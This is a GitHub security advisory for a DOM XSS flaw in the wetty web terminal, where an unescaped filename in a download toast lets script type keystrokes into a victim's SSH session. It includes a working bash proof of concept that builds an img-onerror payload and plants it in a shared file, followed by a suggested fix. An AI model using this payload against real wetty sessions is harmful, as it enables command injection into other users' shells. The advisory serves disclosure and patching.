GHSA-P26J-H7WJ-R568
Vulnerability from github – Published: 2026-07-01 18:19 – Updated: 2026-07-01 18:19Summary
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (
\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders. - Default configuration; no non-default flags required.
Details
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
const remainingData = fileDownloader.buffer(data);
// every PTY byte forwarded by the server passes through buffer()
// ...
})
Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
let fileNameBase64;
let fileCharacters = bufferCharacters;
if (bufferCharacters.includes(':')) {
[fileNameBase64, fileCharacters] = bufferCharacters.split(':');
}
// ...
void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}
async function detectAndDownload(/* ... */): Promise<void> {
// ...
let fileName;
try {
if (fileNameBase64 !== undefined) {
fileName = window.atob(fileNameBase64); // attacker-controlled
}
} catch { /* ... */ }
fileName ??= `file-${ /* timestamp default */ }`;
// ...
Toastify({
text: `Download ready: <a href="${blobUrl}" target="_blank" `
+ `download="${fileName}">${fileName}</a>`, // sink
duration: 10000,
// ...
escapeMarkup: false,
}).showToast();
}
fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.
Proof of concept
Setup
- Bring up wetty and its bundled SSH host from a fresh clone:
bash
git clone https://github.com/butlerx/wetty
cd wetty
docker compose up -d
sleep 5
- Open
http://localhost/wettyin a browser. The login terminal prompts for a username (enterterm) then proxies towetty-ssh, which prompts for the SSH password (alsoterm, set incontainers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.
Exploit
- In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
bash
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.
- The
onerrorhandler callswindow.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as adataevent;src/client/wetty.ts:40-42forwards it as a socketinputevent; the server writes it to the PTY. The SSH host runsid > /tmp/pwnedas the connected user:
bash
cat /tmp/pwned
Expected: uid=1000(term) gid=1000(term) groups=1000(term).
- The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
bash
# As the low-priv user on the SSH host
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt
When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.
Impact
- Confidentiality: Reads the rendered terminal contents via
window.wetty_term.buffer.active. - Integrity: Types attacker-chosen commands into the victim's SSH session via
window.wetty_term.input(). - Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
Suggestions to fix
This has not been tested - it is illustrative only.
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.
fileName ??= `file-${new Date()
.toISOString()
.split('.')[0]
.replace(/-/g, '')
.replace('T', '')
.replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c,
+ );
const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);
Toastify({
- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
duration: 10000,
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "wetty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49864"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T18:19:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`\u0027d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim\u0027s SSH session.\n\n### Preconditions\n\n- Victim has wetty open with an active SSH session.\n- Attacker delivers the file-download escape sequence (`\\x1b[5i\u003cb64-name\u003e:\u003cb64-content\u003e\\x1b[4i`) into output the victim\u0027s terminal renders.\n- Default configuration; no non-default flags required.\n\n### Details\n\n```typescript\n// src/client/wetty.ts:37, 46-62\nconst fileDownloader = new FileDownloader();\n// ...\nsocket.on(\u0027data\u0027, (data: string) =\u003e {\n const remainingData = fileDownloader.buffer(data);\n // every PTY byte forwarded by the server passes through buffer()\n // ...\n})\n```\n\nEvery byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\\x1b[5i` (begin) and `\\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`.\n\n```typescript\n// src/client/wetty/download.ts:9-77\nfunction onCompleteFile(bufferCharacters: string): void {\n let fileNameBase64;\n let fileCharacters = bufferCharacters;\n if (bufferCharacters.includes(\u0027:\u0027)) {\n [fileNameBase64, fileCharacters] = bufferCharacters.split(\u0027:\u0027);\n }\n // ...\n void detectAndDownload(bytes, fileCharacters, fileNameBase64);\n}\n\nasync function detectAndDownload(/* ... */): Promise\u003cvoid\u003e {\n // ...\n let fileName;\n try {\n if (fileNameBase64 !== undefined) {\n fileName = window.atob(fileNameBase64); // attacker-controlled\n }\n } catch { /* ... */ }\n fileName ??= `file-${ /* timestamp default */ }`;\n // ...\n Toastify({\n text: `Download ready: \u003ca href=\"${blobUrl}\" target=\"_blank\" `\n + `download=\"${fileName}\"\u003e${fileName}\u003c/a\u003e`, // sink\n duration: 10000,\n // ...\n escapeMarkup: false,\n }).showToast();\n}\n```\n\n`fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js\u0027s `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim\u0027s SSH session.\n\n### Proof of concept\n\n**Setup**\n\n1. Bring up wetty and its bundled SSH host from a fresh clone:\n\n ```bash\n git clone https://github.com/butlerx/wetty\n cd wetty\n docker compose up -d\n sleep 5\n ```\n\n2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container.\n\n**Exploit**\n\n1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:\n\n ```bash\n PAYLOAD=\u0027\"\u003e\u003cimg src=x onerror=\"window.wetty_term.input(\\\"id \u003e /tmp/pwned\\\\n\\\",true)\"\u003e\u0027\n FNAME_B64=$(printf \u0027%s\u0027 \"$PAYLOAD\" | base64 -w0)\n DATA_B64=$(printf \u0027bait\u0027 | base64 -w0)\n printf \u0027\\x1b[5i%s:%s\\x1b[4i\u0027 \"$FNAME_B64\" \"$DATA_B64\"\n ```\n\n Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `\u003cimg\u003e` element with the `onerror` handler.\n\n2. The `onerror` handler calls `window.wetty_term.input(\"id \u003e /tmp/pwned\\n\", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id \u003e /tmp/pwned` as the connected user:\n\n ```bash\n cat /tmp/pwned\n ```\n\n Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`.\n\n3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:\n\n ```bash\n # As the low-priv user on the SSH host\n printf \u0027\\x1b[5i%s:%s\\x1b[4i\u0027 \"$FNAME_B64\" \"$DATA_B64\" \u003e /tmp/notes.txt\n ```\n\n When the higher-privileged user\u0027s wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user\u0027s shell.\n\n### Impact\n\n- **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`.\n- **Integrity:** Types attacker-chosen commands into the victim\u0027s SSH session via `window.wetty_term.input()`.\n- **Auth:** A writer of content the victim renders gains keystroke injection in the victim\u0027s higher-privileged session - a path from any local SSH user to commands as the wetty user.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nHTML-escape the decoded filename before interpolating it into Toastify\u0027s HTML markup at `src/client/wetty/download.ts:67-77`.\n\n```diff\n fileName ??= `file-${new Date()\n .toISOString()\n .split(\u0027.\u0027)[0]\n .replace(/-/g, \u0027\u0027)\n .replace(\u0027T\u0027, \u0027\u0027)\n .replace(/:/g, \u0027\u0027)}${fileExt ? `.${fileExt}` : \u0027\u0027}`;\n+ const safeName = fileName.replace(/[\u0026\u003c\u003e\"\u0027]/g, (c) =\u003e\n+ ({ \u0027\u0026\u0027: \u0027\u0026amp;\u0027, \u0027\u003c\u0027: \u0027\u0026lt;\u0027, \u0027\u003e\u0027: \u0027\u0026gt;\u0027, \u0027\"\u0027: \u0027\u0026quot;\u0027, \"\u0027\": \u0027\u0026#39;\u0027 })[c] ?? c,\n+ );\n\n const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });\n const blobUrl = URL.createObjectURL(blob);\n\n Toastify({\n- text: `Download ready: \u003ca href=\"${blobUrl}\" target=\"_blank\" download=\"${fileName}\"\u003e${fileName}\u003c/a\u003e`,\n+ text: `Download ready: \u003ca href=\"${blobUrl}\" target=\"_blank\" download=\"${safeName}\"\u003e${safeName}\u003c/a\u003e`,\n duration: 10000,\n```",
"id": "GHSA-p26j-h7wj-r568",
"modified": "2026-07-01T18:19:39Z",
"published": "2026-07-01T18:19:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"
},
{
"type": "PACKAGE",
"url": "https://github.com/butlerx/wetty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "wetty vulnerable to DOM XSS via file-download filename"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.